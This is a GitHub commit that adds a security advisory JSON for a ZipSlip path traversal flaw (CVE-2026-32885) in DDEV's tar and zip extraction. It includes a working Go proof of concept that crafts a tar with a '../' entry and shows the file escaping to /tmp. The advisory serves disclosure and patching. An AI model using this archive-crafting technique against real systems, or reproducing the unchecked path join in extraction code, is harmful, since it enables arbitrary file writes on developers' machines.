Skip to content

Commit 3af9295

Browse files
1 parent 80dbbc6 commit 3af9295

1 file changed

Lines changed: 73 additions & 0 deletions

File tree

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x2xq-qhjf-5mvg",
4+
"modified": "2026-04-22T19:06:36Z",
5+
"published": "2026-04-22T19:06:36Z",
6+
"aliases": [
7+
"CVE-2026-32885"
8+
],
9+
"summary": "DDEV has ZipSlip path traversal in tar and zip archive extraction",
10+
"details": "## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction — mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(&buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(&tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, &buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE — file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n> **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/ddev/ddev"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.25.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32885"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/ddev/ddev/pull/8213"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/ddev/ddev"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/ddev/ddev/releases/tag/v1.25.2"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-22"
67+
],
68+
"severity": "MODERATE",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-04-22T19:06:36Z",
71+
"nvd_published_at": "2026-04-22T17:16:34Z"
72+
}
73+
}

0 commit comments

Comments
 (0)